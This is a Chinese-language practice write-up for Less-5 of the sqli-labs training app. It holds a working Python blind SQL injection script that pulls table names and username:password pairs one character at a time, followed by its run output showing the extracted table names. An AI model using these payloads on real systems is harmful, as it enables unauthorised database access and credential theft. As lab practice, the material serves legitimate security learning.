sqli-labs刷题

sqli-labs第五题盲注脚本

使用到的payloadSELECT * FROM users WHERE id='1'and if(ascii(mid(database(),1,1))>1,1,0)#' LIMIT 0,1
如果select语句执行，则返回有文本:you are in...

利用这一点写python脚本，下例脚本当然不完全，需要一些改变就可以得到username和password

@user:yxzy
import requests
from tqdm import tqdm

url="http://sql.test/Less-5/"
databasename=""
tablename=""
usernameandpassword=""

for j in tqdm(range(1,40)):
    payload1 = '?id=1%27and%20if(ascii(mid(database(),{},1))>{},1,0)%23'
    payload2 ="?id=1%27and%20if(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),{},1))>{},1,0)%23"
    payload3 ="?id=1%27and%20if(ascii(mid((select%20group_concat(username,':',password%20separator%20'<br>')%20from%20users),{},1))>{},1,0)%23" 
    min=33
    max=127
    while abs(min-max)>1:#s
        mid = int((min+max)*0.5)
        payloadd = payload2.format(str(j), str(mid))
        rsp = requests.get(url=url + payloadd)
        rsp.encoding = 'utf-8'
        if ("You are in..." in rsp.text):
            min=mid
        else:
            max=mid
        print(str(min)+"-"+str(max))
    tablename += chr(max)
    print(tablename)
print(tablename)
  0%|          | 0/39 [00:00<?, ?it/s]80-127
80-103
91-103
97-103
100-103
  3%|▎         | 1/39 [00:12<07:56, 12.55s/it]100-101
e
80-127
103-127
103-115
103-109
106-109
107-109
108-109
em
  5%|▌         | 2/39 [00:27<08:30, 13.79s/it]80-127
80-103
91-103
91-97
94-97
95-97
96-97
ema
  8%|▊         | 3/39 [00:41<08:31, 14.21s/it]80-127
103-127
103-115
103-109
103-106
104-106
 10%|█         | 4/39 [00:56<08:24, 14.40s/it]104-105
emai
80-127
103-127
103-115
103-109
106-109
107-109
107-108
email
 13%|█▎        | 5/39 [01:11<08:14, 14.53s/it]80-127
103-127
103-115
109-115
112-115
113-115
114-115
emails
 15%|█▌        | 6/39 [01:26<08:00, 14.57s/it]33-80
33-56
33-44
38-44
41-44
42-44
 18%|█▊        | 7/39 [01:40<07:47, 14.61s/it]43-44
emails,
80-127
103-127
103-115
109-115
112-115
113-115
 21%|██        | 8/39 [01:55<07:32, 14.61s/it]113-114
emails,r
80-127
80-103
91-103
97-103
100-103
100-101
emails,re
 23%|██▎       | 9/39 [02:07<06:58, 13.96s/it]80-127
80-103
91-103
97-103
100-103
101-103
101-102
emails,ref
 26%|██▌       | 10/39 [02:22<06:50, 14.17s/it]80-127
80-103
91-103
97-103
100-103
 28%|██▊       | 11/39 [02:35<06:22, 13.67s/it]100-101
emails,refe
80-127
103-127
103-115
109-115
112-115
113-115
 31%|███       | 12/39 [02:49<06:16, 13.96s/it]113-114
emails,refer
80-127
80-103
91-103
97-103
100-103
 33%|███▎      | 13/39 [03:02<05:51, 13.53s/it]100-101
emails,refere
80-127
103-127
103-115
109-115
112-115
113-115
 36%|███▌      | 14/39 [03:16<05:46, 13.86s/it]113-114
emails,referer
80-127
103-127
103-115
109-115
112-115
113-115
114-115
emails,referers
 38%|███▊      | 15/39 [03:31<05:38, 14.11s/it]33-80
33-56
33-44
38-44
41-44
42-44
 41%|████      | 16/39 [03:46<05:28, 14.28s/it]43-44
emails,referers,
80-127
103-127
115-127
115-121
115-118
116-118
 44%|████▎     | 17/39 [04:00<05:16, 14.39s/it]116-117
emails,referers,u
80-127
80-103
91-103
91-97
94-97
95-97
 46%|████▌     | 18/39 [04:15<05:03, 14.45s/it]96-97
emails,referers,ua
80-127
80-103
91-103
97-103
100-103
101-103
 49%|████▊     | 19/39 [04:30<04:49, 14.50s/it]102-103
emails,referers,uag
80-127
80-103
91-103
97-103
100-103
 51%|█████▏    | 20/39 [04:42<04:24, 13.92s/it]100-101
emails,referers,uage
80-127
103-127
103-115
109-115
109-112
 54%|█████▍    | 21/39 [04:55<04:03, 13.51s/it]109-110
emails,referers,uagen
80-127
103-127
115-127
115-121
115-118
 56%|█████▋    | 22/39 [05:07<03:44, 13.23s/it]115-116
emails,referers,uagent
80-127
103-127
103-115
109-115
112-115
113-115
 59%|█████▉    | 23/39 [05:22<03:38, 13.65s/it]114-115
emails,referers,uagents
33-80
33-56
33-44
38-44
41-44
42-44
43-44
emails,referers,uagents,
 62%|██████▏   | 24/39 [05:37<03:29, 13.95s/it]80-127
103-127
115-127
115-121
115-118
116-118
 64%|██████▍   | 25/39 [05:51<03:18, 14.16s/it]116-117
emails,referers,uagents,u
80-127
103-127
103-115
109-115
112-115
113-115
 67%|██████▋   | 26/39 [06:06<03:05, 14.29s/it]114-115
emails,referers,uagents,us
80-127
80-103
91-103
97-103
100-103
100-101
emails,referers,uagents,use
 69%|██████▉   | 27/39 [06:18<02:45, 13.77s/it]80-127
103-127
103-115
109-115
112-115
113-115
 72%|███████▏  | 28/39 [06:33<02:34, 14.04s/it]113-114
emails,referers,uagents,user
80-127
103-127
103-115
109-115
112-115
113-115
114-115
emails,referers,uagents,users
 74%|███████▍  | 29/39 [06:48<02:22, 14.24s/it]33-80
33-56
33-44
33-38
33-35
 77%|███████▋  | 30/39 [07:00<02:03, 13.73s/it]33-34
emails,referers,uagents,users"
33-80
33-56
33-44
33-38
33-35
 79%|███████▉  | 31/39 [07:13<01:47, 13.38s/it]33-34
emails,referers,uagents,users""
33-80
33-56
33-44
33-38
33-35
 82%|████████▏ | 32/39 [07:25<01:31, 13.14s/it]33-34
emails,referers,uagents,users"""
33-80
33-56
33-44
33-38
33-35
33-34
emails,referers,uagents,users""""
 85%|████████▍ | 33/39 [07:38<01:17, 12.96s/it]33-80
33-56
33-44
33-38
33-35
 87%|████████▋ | 34/39 [07:50<01:04, 12.84s/it]33-34
emails,referers,uagents,users"""""
33-80
33-56
33-44
33-38
33-35
 90%|████████▉ | 35/39 [08:03<00:51, 12.76s/it]33-34
emails,referers,uagents,users""""""
33-80
33-56
33-44
33-38
33-35
 92%|█████████▏| 36/39 [08:16<00:38, 12.72s/it]33-34
emails,referers,uagents,users"""""""
33-80
33-56
33-44
33-38
33-35
 95%|█████████▍| 37/39 [08:28<00:25, 12.67s/it]33-34
emails,referers,uagents,users""""""""
33-80
33-56
33-44
33-38
33-35
 97%|█████████▋| 38/39 [08:41<00:12, 12.62s/it]33-34
emails,referers,uagents,users"""""""""
33-80
33-56
33-44
33-38
33-35
33-34
emails,referers,uagents,users""""""""""
emails,referers,uagents,users""""""""""
100%|██████████| 39/39 [08:53<00:00, 13.69s/it]

Process finished with exit code 0